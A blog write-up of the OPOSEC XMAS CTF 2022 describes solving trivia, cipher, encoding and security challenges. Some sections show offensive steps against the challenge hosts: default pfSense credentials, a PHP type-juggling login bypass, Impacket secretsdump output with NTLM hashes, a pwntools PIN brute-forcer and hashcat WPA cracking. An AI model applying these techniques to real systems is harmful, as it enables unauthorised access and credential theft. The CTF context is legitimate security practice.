OPOSEC XMAS CTF Challenge Christmas 2022 Write-up

April 11, 2023 security ctf hackrocks hacking 25 minutes to read

Well, I guess it is better late than never, so almost four months after the closing of the OPOSEC XMAS CTF Challenge Christmas 2022 this is my write-up on how I did manage to solve all the challenges and finish in the 4th place.

There was a total of 13 challenges ranging from trivia to network categories.


Who? (100 pts)

So, for the first challenge we got ourselves a little trivia, with a well-known meme as the challenge content. For those of us that are here for some time the connection of this meme with the infosec community is clear, some years ago (mid-2011) a hacker group raised to fame due to some high profile attacks, including Sony Pictures’ internal database, CIA website and FBI’s contractor InfraGard among others. This hacker group is LulzSec and their logo was based upon the Feel Like a Sir meme.

Flag: LulzSec

The Great Hack (200 pts)

How about ensuring that you are a guaranteed winner of a radio contest by controlling all the telephone lines? Imagine, what a classy hack that would be. It took place in real world and the hacker won a costliest prize. What was the costliest prize that the hacker won?

So we got ourselves a little riddle. Phreakers, people who specialize in attacks on the telephone system were mostly popular in the mid-1980s. After some googling we find several articles describing such attacks and well-known personalities that carried them. One of them is Kevin Poulsen (Dark Dante):

On June 1, 1990, Poulsen took over all of the telephone lines for Los Angeles radio station KIIS-FM, guaranteeing that he would be the 102nd caller and win the prize of a Porsche 944 S2.

Flag: Porsche 944 S2


Mmmm… Donuts… (100 pts)

Donuts are the best breakfast food! There is a donut flavor for everyone’s taste, they pair great with coffee, and they can be eaten on the go! The key to solve this challenge is the most important meal of the day. If one donut doesn’t help, try having another. You better solve it fast before you get diabetes.

PS: My favorite donut is the original, just glazed.

So, I spent a tremendous amount of time deciphering this one. After some trial and error, experimenting with every rare encryption system… It becomes more or less clear that we have to go back to the basics. The text suggests a lot around breakfast, and one thing missing is Bacon, so there may be a Baconian cipher somewhere… Taking a look at the example given on the Wikipedia page, it became clear:

So, after converting the original message, we have the following:


And then decoding with the standard Bacon Cipher, we got FRXMOIUAGLDI. So this is not over yet! Another common cipher in CTF challenges is the Vigenère cipher that uses a key to decipher. By the text we could bruteforce each one of the nouns in order to break it, or simple use the one in spotlight, breakfast. Using that as the key, we got ourselves the flag. You can check out the CyberChef recipe here.


Lets Share! (200 pts)

Encoding is the process of converting data from one format into another, typically for the purposes of efficient transmission or storage. There are many different types of encoding schemes that can be used, depending on the specific requirements of the data and the intended use. Encoding is an important aspect of data management and is used in a variety of applications, including networking, data storage, and multimedia.

And we got a text file with the following content:


So this must be just random encoding on top of random encoding. Let’s go to CyberChef once more, and do: (1) from base64, (2) URL decode, (3) from HTML entity, and lastly (4) from base64.

Flag: flag{b0l0_r31_FTW}


The Folt (100 pts)

pfSense is a free and open-source firewall and router software distribution based on the FreeBSD operating system. It is designed to provide a flexible and powerful platform for building and managing network infrastructure, and it includes a wide range of features and capabilities that are suitable for use in both small and large networks.

Have a try http://machine.example.com/

So we got ourselves a default pfSense landing page. First things first, let’s try default credentials, which are admin and pfsense. Trying those we got ourselves the quickest flag.

Flag: flag{Default?_More_Like_Badfault}

In Passwords, We Trust, and in PHP, We Believe! (200 pts)

Great, another admin panel, do you think you can crack it?

And we got ourselves a little PHP:

  $user = $_POST["username"];
  $input = $_POST["password"];
  $answer = json_decode($input);

  //Random 16 chr token
  $token = base64_encode(bin2hex(random_bytes(16)));

  $password = $answer->password;

  if(($password == $token) and $user == "admin") {
	  //Super Flag!
  } elseif(empty($user) && empty($password)) {
  	  echo "<h2>Login</h2>";
  } elseif(empty($password)) {
  	echo "<h2>Error Encountered! Wrong Token!<br></h2>";
  	echo "<script>console.log(\"Your token was: $token\")</script>";

And the page generates a cookie-based token similar to this one: NTUwMGIxMDdmMDMzMTYwYzZjZTEwMmMwOTU5NzVjOGI= that gives nothing useful when base64 decoded.

So let’s look into the source ! We can see that there is a loose comparison $password == $token which means that we are most probably looking at a Type Juggling vulnerability, i.e., During the comparison of variables of different types, PHP will first convert them to a common, comparable type.

However, the most strange thing is that you cannot simply pass a string to the password field, but instead a valid JSON with a password key, $password = $answer->password;. But why? This was very random indeed.

Nonetheless, after finding out the issue, we could pass the string {"password":0} as the password in the login form, and when the comparison with the $token happens, it will be true given that (0 == “STRING”) -> True (+).

Flag: flag{OnceAgainTypeJuggling}


Black Hole (100 pts)

An exception is an abnormal event or error that occurs during the execution of a program. Exceptions are typically used to handle unexpected or exceptional conditions, such as runtime errors or input-output errors. When an exception occurs, it is typically represented as an object that is thrown, and it can be caught and handled by the program using a try-catch block.

Attachment: l33t.rar

So now we have a RAR file, and some ramblings about exceptions. As expected, the RAR is password protected. Looking at the strings that we have:

$ strings l33t.rar 
CMTPython 3.7.3
Traceback (most recent call last):
  File "<pyshell#4>", line 1, in <module>
 <- Password 

So we have a random Python snippet somewhere in the file with a mention to <- Password, wut? … We also have a ZeroDivisionError, so maybe that’s why the ramblings about exceptions ! Let’s recreate the exception in python:

Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 1/0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ZeroDivisionError: division by zero

Using the division by zero message as the password for the RAR file, we got ourselves a txt file with the flag.

Flag: flag{l0vef@rf4t0h}

A Programming Language (200 pts)

flag←48 55 45 52 73 53 0 67 63 4 59 5 73 24 69 9 62 15 64 76 43 16 78 73 18 96 ⊢WTF←⎕UCS{⍵-¨10-⍨⍳≢⍵}+flag+2⊥¯3⌽1 0 1 1 0 1

So we got ourselves a little APL dark magic. I smelled this from afar due to its usage in CodeGolf. The code was missing a newline, but apart from that it was just copy and paste in an online interpreter:

TryAPL Version 3.6.1 (enter ]State for details)
Tue Apr 11 2023 17:41:13
Copyright (c) Dyalog Limited 1982-2023
      flag←48 55 45 52 73 53 0 67 63 4 59 5 73 24 69 9 62 15 64 76 43 16 78 73 18 96 
      ⊢WTF←⎕UCS{⍵-¨10-⍨⍳≢⍵}+flag+2⊥¯3⌽1 0 1 1 0 1

Flag: flag{f0rm1g0sAm0d4doM1nh0}

Find The Typo (300 pts)

Attachment: flag.zip

So we have another random one! Also, it was more easy than it should because I know someone that spends a lot of time playing this. This is Nonogram game (it is available on the Play Store). I did not spend any time solving it manually, but going to an online solver was a breeze.

And we got ourselves a Pacman, or pacman, or pac man, or… well, after some trial and error, and checking the correct name online, it was pac-man the password of the zip file.

Flag: flag{bread_bread_cheese_cheese}

Back Me UP! (400 pts)

Someone left backups of a Domain Controller in an open share. A portion was extracted from the backup and myth be told that it contains critical information (and a flag ;) ). Can you get it?

Attachment: AD_backup.zip

So we have a ZIP file with a registry folder and a ntds.dit file. Trying to solve this challenge in a Linux machine (since my Windows VM refused to boot), I found out that Impacket script collection has a secretsdump.py to dump sensitive info from registry file.

$ secretsdump.py -ntds ~/Projects/oposec-christmas-22/Active\ Directory/ntds.dit  -system ~/Projects/oposec-christmas-22/registry/SYSTEM -security ~/Projects/oposec-christmas-22/registry/SECURITY local
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra

[*] Target system bootKey: 0x5fb07a625512cd828efd1eb75ab24c1c
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:870dc1dcd1b50a8f04472485c3e445c1
[*] DefaultPassword 
(Unknown User):ROOT#123
[*] NL$KM 
 0000   1D 05 A6 71 87 FE 0C 45  DC 84 3F DD BB 18 ED C9   ...q...E..?.....
 0010   3E 83 1E E4 01 CB 1F 55  8A C1 C9 AA D0 57 0E D9   >......U.....W..
 0020   1B EB A1 25 99 6F D0 D0  D8 DF 5B 6D 56 23 F9 8E   ...%.o....[mV#..
 0030   F5 40 C5 06 F0 E6 46 B1  2C 93 76 DE 0F 58 00 B8   [email protected].,.v..X..
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: db591b9546c39acc89bc2eb9d943a927
[*] Reading and decrypting hashes from /home/jpdias/Projects/oposec-christmas-22/Active Directory/ntds.dit 
[*] Kerberos keys from /home/jpdias/Projects/oposec-christmas-22/Active Directory/ntds.dit 
[*] Cleaning up... 

So we have a lot of info, but no flag. After some more searching and messing around I found out that we can dump the tables from the ntds.dit file1. This will create a new directory, called ntds.dit.export with the dumped tables.

$ esedbexport -m tables Active\ Directory/ntds.dit
esedbexport 20220806

Opening file.
Database type: Unknown.
Exporting table 1 (MSysObjects) out of 13.
Exporting table 2 (MSysObjectsShadow) out of 13.
Exporting table 3 (MSysObjids) out of 13.
Exporting table 4 (MSysLocales) out of 13.
Exporting table 5 (datatable) out of 13.
Exporting table 6 (hiddentable) out of 13.
Exporting table 7 (link_history_table) out of 13.
Exporting table 8 (link_table) out of 13.
Exporting table 9 (quota_rebuild_progress_table) out of 13.
Exporting table 10 (quota_table) out of 13.
Exporting table 11 (sdpropcounttable) out of 13.
Exporting table 12 (sdproptable) out of 13.
Exporting table 13 (sd_table) out of 13.
Export completed.

Now that we have (hopefully) all the data extracted, we can just grep and see if we get something.

$ grep -rnw flag .


In a Windows machine you could use DSInternals to quickly dump all the data and find the flag more easily.

Flag: flag{ClearBackupsCanPwnU}


867 CFR (100 pts)

867 CFR is a protocol for sending data across networks. It is connectionless, meaning it does not establish a dedicated connection between sender and receiver. This makes it faster but less reliable than other transport protocols. 867 CFR is often used for real-time applications such as gaming and VoIP, and for low-overhead services like DNS. Weird stuff! Can you have a look? xx.isymra.22samxopo (344)

So, 867 RFC, let’s do some reading. Daytime Protocol, A daytime service (UDP or TCP) simply sends a the current date and time as a character string without regard to the input. …wut?

And several hours have passed, and I was lost. Taking a break, and looking at it again, all made sense, everything is in reverse order! OMFG so much time has been lost!

So, again, RFC 768 describes User Datagram Protocol (UDP). Something familiar now! Let’s connect!

$ nc -u  opoxmas22.armysi.cc 443

Flag: flag{you_dee_pee}

Who’s There? (200 pts)

I do not have a physical body, but I am here to help you with any questions you may have, give me a PIN, and I will tell you what to do next!

opoxmas22.example.com (22222) looks interesting!

We have a UDP based service that requests a PIN (let’s assume a 4 digit pin). So 10 000 possible combinations… Easy enough to do a script (with some timeout and retry logic because sometimes things went wrong).

from itertools import product
from pwn import *
encoding = 'utf-8'
# your list needs be all-characters
lst = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
a = ["".join(item) for item in product(lst, repeat=4)]

r = remote('opoxmas22.armysi.cc', 22222, typ="udp", timeout=1)
i = 0
while True:
    r.send(bytearray(a[i]+"\n", encoding))
    res = str(r.recv(timeout=2), encoding)
    if res == "":
        r = remote('opoxmas22.armysi.cc', 22222, typ="udp")
        r.send(bytearray(a[i]+"\n", encoding))
        res = str(r.recv(timeout=2), encoding)
        print(a[i], res)
    if res != "WRONG PIN!":
        print("PIN:", a[i], "\n>", res)
        while True:
            new_result = re.findall('[0-9]+', res)
            if(len(new_result) != 3):
            r = remote('opoxmas22.armysi.cc', new_result[0], typ="udp")
            r.send(bytearray(new_result[2]+"\n", encoding))
            res = str(r.recv(timeout=2), encoding)
            print(">", res)

    i += 1
# interactive mode
# r.interactive()

And we have our first PIN, 0000 puff… After guessing the PIN, we have a series of prompts that give us a new port and a new PIN to be used. Since I didn’t know how many redirects there would be, I just programmed the script to automatically parse the message and do a new connection in chain. And that’s how we get our flag!

[+] Opening connection to opoxmas22.armysi.cc on port 22222: Done
PIN: 0000 
> Opened port 26128 - Hurry you got 60 seconds!. Use this PIN - 4283
['26128', '60', '4283']
[+] Opening connection to opoxmas22.armysi.cc on port 26128: Done
> Opened port 24571 - Hurry you got 60 seconds!. Use this PIN - 8503
['24571', '60', '8503']
[+] Opening connection to opoxmas22.armysi.cc on port 24571: Done
> Flag{Kito_KitoWho?_MosKito}
[*] Closed connection to opoxmas22.armysi.cc port 24571
[*] Closed connection to opoxmas22.armysi.cc port 26128
[*] Closed connection to opoxmas22.armysi.cc port 22222

Flag: Flag{Kito_KitoWho?_MosKito}

My Network is Secure! (300 pts)

Taberna belga said their free WiFi is secure because it has a password, however people are still getting passwords! How is this~possible?!

Attachtment: SecureNetwork.cap

And now is time for some network capture stuff. But the network is “protected” with WPA-TKIP (i.e., WPA-1). Thus, we can break it, somehow. With hcxdumptool we can dump the hash of the WiFi password in a hashcat compatible format:

$ editcap -F pcap SecureNetwork.cap SecureNetwork.pcap
$ hcxpcaptool -z hash.txt SecureNetwork.pcap

Running hashcat in a Google Colab2 we can harness the power of the free GPUs and quickly brute-force the hash using a dictionary (in the case, rockyou.txt).

hashcat (v6.2.6-208-gcd8bff168) starting

nvmlDeviceGetFanSpeed(): Not Supported

* Device #1: Tesla T4, 15007/15109 MB, 40MCU

OpenCL API (OpenCL 1.2 CUDA 11.2.109) - Platform #1 [NVIDIA Corporation]
* Device #2: Tesla T4, skipped

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Initializing backend runtime for device #1. Please be patient...tcmalloc: large alloc 1405091840 bytes == 0x5625daafa000 @  0x7fc30b79e001 0x5625aec13c46 0x5625aec5d04d 0x5625aec0a45c 0x5625aec0adb2 0x5625aec05aff 0x7fc30a9d0c87 0x5625aec05b5a
Host memory required for this attack: 1470 MB

Dictionary cache built:
* Filename..: wordlists/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

4ca8dcfc1ae47ae4c892d2cc25f4e1e5:907841398870:d6a78c062e85:SecureNet Wifi:spiderman
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: QVuyxSZh
Time.Started.....: Sat Jan  7 22:08:10 2023 (0 secs)
Time.Estimated...: Sat Jan  7 22:08:10 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   345.9 kH/s (7.09ms) @ Accel:64 Loops:128 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 207722/14344384 (1.45%)
Rejected.........: 125802/207722 (60.56%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456789 -> 2deenero
Hardware.Mon.#1..: Temp: 63c Util: 48% Core:1230MHz Mem:5000MHz Bus:16

Started: Sat Jan  7 22:07:39 2023
Stopped: Sat Jan  7 22:08:11 2023

And it’s cracked! spiderman is the strong password in this one!

Using spiderman as the password in Wireshark we can see all the network traffic, and if we follow the only existing TCP connection, we can get our flag 3!

Flag: flag{morestudy}


Another Xmas, another CTF. As always, kudos for the challenge makers, and to OPOSEC community. This was the final top 10, and yes, I just started playing late in the game due to time constrains. At the time of writing there is an official write-up is available here.